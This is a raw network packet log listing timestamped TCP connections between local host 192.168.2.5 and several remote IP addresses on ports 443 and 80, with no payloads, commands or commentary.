Nov 28, 2024 06:48:27.748862982 CET	49775	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:27.748872042 CET	443	49775	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:27.787269115 CET	49776	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:27.787300110 CET	443	49776	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:27.787647963 CET	49776	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:27.788106918 CET	49776	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:27.788119078 CET	443	49776	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:28.074707985 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:28.074810982 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:28.194928885 CET	443	49757	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:28.195221901 CET	443	49757	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:28.195324898 CET	49757	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:28.195493937 CET	49757	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:28.195539951 CET	443	49757	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:28.195559978 CET	49757	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:28.195584059 CET	443	49757	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:28.211296082 CET	49781	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:28.211321115 CET	443	49781	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:28.211384058 CET	49781	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:28.213078976 CET	49781	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:28.213090897 CET	443	49781	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:28.316394091 CET	49787	443	192.168.2.5	18.165.220.110
Nov 28, 2024 06:48:28.316421986 CET	443	49787	18.165.220.110	192.168.2.5
Nov 28, 2024 06:48:28.316477060 CET	49787	443	192.168.2.5	18.165.220.110
Nov 28, 2024 06:48:28.318731070 CET	49787	443	192.168.2.5	18.165.220.110
Nov 28, 2024 06:48:28.318742990 CET	443	49787	18.165.220.110	192.168.2.5
Nov 28, 2024 06:48:28.380685091 CET	49789	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:28.380804062 CET	443	49789	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:28.381000042 CET	49789	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:28.381345034 CET	49789	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:28.381381989 CET	443	49789	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:28.497045040 CET	49791	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:28.497070074 CET	443	49791	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:28.497220039 CET	49791	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:28.498239040 CET	49791	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:28.498250008 CET	443	49791	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:28.543010950 CET	49792	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:28.543020964 CET	443	49792	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:28.543204069 CET	49792	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:28.543517113 CET	49792	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:28.543526888 CET	443	49792	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:28.882742882 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:28.920101881 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:28.921036005 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:28.921057940 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:28.921418905 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:28.921433926 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:28.921947956 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:28.921957016 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:28.921998978 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:28.922136068 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:28.924047947 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:28.924125910 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:28.924402952 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:28.924412012 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:28.942987919 CET	443	49774	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:28.943306923 CET	49774	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:28.943340063 CET	443	49774	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:28.944636106 CET	443	49774	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:28.944685936 CET	49774	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:28.977372885 CET	49774	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:28.977746964 CET	49774	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:28.978791952 CET	443	49774	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:28.997612953 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:29.006576061 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.030584097 CET	443	49773	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:29.031327009 CET	49773	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:29.031346083 CET	443	49773	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:29.032309055 CET	443	49773	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:29.032366037 CET	49773	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:29.033967972 CET	49773	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:29.034018040 CET	443	49773	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:29.034423113 CET	49773	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:29.034429073 CET	443	49773	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:29.035207033 CET	49774	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:29.035218954 CET	443	49774	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:29.056941986 CET	443	49775	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:29.058655024 CET	49775	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:29.058662891 CET	443	49775	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:29.059643030 CET	443	49775	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:29.059694052 CET	49775	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:29.061718941 CET	49775	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:29.061790943 CET	443	49775	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:29.062447071 CET	49775	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:29.062453985 CET	443	49775	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:29.105283976 CET	49773	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:29.105679989 CET	49775	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:29.137375116 CET	49792	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:29.137933969 CET	49793	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:29.137974024 CET	443	49793	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:29.138037920 CET	49793	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:29.138425112 CET	49793	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:29.138451099 CET	443	49793	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:29.138988018 CET	49745	443	192.168.2.5	94.245.104.56
Nov 28, 2024 06:48:29.139045000 CET	443	49745	94.245.104.56	192.168.2.5
Nov 28, 2024 06:48:29.139092922 CET	49745	443	192.168.2.5	94.245.104.56
Nov 28, 2024 06:48:29.139813900 CET	49791	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:29.140940905 CET	49787	443	192.168.2.5	18.165.220.110
Nov 28, 2024 06:48:29.141287088 CET	49774	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:29.142908096 CET	49798	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:29.142915964 CET	443	49798	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:29.142959118 CET	49798	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:29.143435001 CET	49789	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:29.143634081 CET	49801	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:29.143666983 CET	443	49801	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:29.143870115 CET	49801	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:29.144367933 CET	49798	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:29.144376040 CET	443	49798	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:29.144758940 CET	49801	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:29.144781113 CET	443	49801	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:29.183319092 CET	443	49792	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:29.183330059 CET	443	49787	18.165.220.110	192.168.2.5
Nov 28, 2024 06:48:29.183336973 CET	443	49791	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:29.187342882 CET	443	49789	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:29.332592964 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.332619905 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.332628012 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.332706928 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.332895041 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.332906961 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.332926035 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.332937956 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.332947969 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.332950115 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.332962036 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.332998037 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.341244936 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.341296911 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.341341972 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.341425896 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.341890097 CET	443	49769	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:29.341998100 CET	443	49770	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:29.344109058 CET	49769	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:29.344139099 CET	443	49769	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:29.344208956 CET	49770	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:29.344235897 CET	443	49770	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:29.344775915 CET	49770	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:29.344780922 CET	443	49770	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:29.344904900 CET	49769	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:29.344909906 CET	443	49769	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:29.349919081 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.349975109 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.349999905 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.350085974 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.405380964 CET	443	49768	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:29.406120062 CET	49768	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:29.406141996 CET	443	49768	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:29.406769991 CET	49768	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:29.406774998 CET	443	49768	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:29.424536943 CET	443	49771	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:29.425040960 CET	49771	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:29.425055027 CET	443	49771	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:29.425699949 CET	49771	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:29.425704956 CET	443	49771	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:29.491820097 CET	443	49773	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:29.491889000 CET	443	49773	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:29.492059946 CET	49773	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:29.492156029 CET	49773	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:29.492170095 CET	443	49773	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:29.523336887 CET	443	49775	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:29.523396015 CET	443	49775	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:29.523718119 CET	49775	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:29.524250984 CET	49775	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:29.524255991 CET	443	49775	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:29.534164906 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.534229040 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.534279108 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.534359932 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.538431883 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.538459063 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.538480997 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.538501024 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.546642065 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.546685934 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.546756029 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.546792984 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.554582119 CET	443	49772	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:29.554646015 CET	49772	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:29.554796934 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.554837942 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.554908037 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.555027962 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.563038111 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.563067913 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.563086987 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.563107014 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.564779043 CET	49772	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:29.564795971 CET	443	49772	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:29.564996958 CET	443	49772	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:29.565423965 CET	49772	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:29.565469027 CET	49772	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:29.565491915 CET	443	49772	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:29.571252108 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.571296930 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.571357012 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.571517944 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.572660923 CET	443	49774	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:29.572716951 CET	443	49774	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:29.572796106 CET	49774	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:29.572983027 CET	49774	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:29.572997093 CET	443	49774	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:29.579487085 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.579525948 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.579574108 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.585382938 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:29.585418940 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:29.585516930 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:29.585706949 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:29.585721016 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:29.587729931 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.587860107 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.587909937 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.596029997 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.596074104 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.596123934 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.596160889 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.597301006 CET	443	49789	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:29.597367048 CET	49789	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:29.604212999 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.604269981 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.604322910 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.604360104 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.612426043 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.612472057 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.612524986 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.612560987 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.616111040 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.620301962 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.620357990 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:29.620382071 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.620600939 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.620646954 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.621021986 CET	443	49776	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:29.621854067 CET	49776	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:29.621871948 CET	443	49776	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:29.622668028 CET	49776	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:29.622673035 CET	443	49776	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:29.622791052 CET	49776	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:29.622802019 CET	443	49776	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:29.632348061 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.632605076 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:29.632617950 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.642362118 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.643446922 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:29.643462896 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.654079914 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.654133081 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:29.654156923 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.667805910 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.667851925 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:29.667870045 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.681476116 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.681602001 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:29.681611061 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.734711885 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.734777927 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.734864950 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.734909058 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.738086939 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.738261938 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.739376068 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.739433050 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.739464998 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.739629984 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.744087934 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.744128942 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.744165897 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:29.744179010 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.744271040 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:29.746144056 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.746258020 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.746273041 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.746416092 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.752701044 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:29.752935886 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.753002882 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.753057957 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.753370047 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.759346008 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.759406090 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.759440899 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.759650946 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.765760899 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.765837908 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.765878916 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.765942097 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.772135019 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.772197008 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.772227049 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.772263050 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.778544903 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.778605938 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.778649092 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.778692007 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.785096884 CET	443	49769	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:29.785132885 CET	443	49770	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:29.785155058 CET	443	49769	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:29.785197020 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.785202026 CET	443	49770	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:29.785208941 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.785234928 CET	49769	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:29.785321951 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.785417080 CET	49770	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:29.785528898 CET	49770	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:29.785537004 CET	443	49770	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:29.785553932 CET	49770	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:29.785557985 CET	443	49770	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:29.786114931 CET	49769	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:29.786124945 CET	443	49769	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:29.791400909 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.791481018 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.791532993 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.795502901 CET	49804	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:29.795547009 CET	443	49804	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:29.795638084 CET	49804	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:29.795842886 CET	49805	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:29.795864105 CET	443	49805	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:29.795938969 CET	49805	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:29.796725035 CET	49805	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:29.796737909 CET	443	49805	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:29.796813011 CET	49804	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:29.796828032 CET	443	49804	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:29.797748089 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.797796011 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.797903061 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.797945976 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.804116011 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.804225922 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.804282904 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.804523945 CET	443	49792	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:29.804588079 CET	49792	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:29.806961060 CET	443	49791	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:29.807048082 CET	443	49791	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:29.807070017 CET	49791	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:29.807197094 CET	49791	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:29.807594061 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:29.810523987 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.810587883 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:29.810641050 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:29.810703039 CET	49750	80	192.168.2.5	185.215.113.206
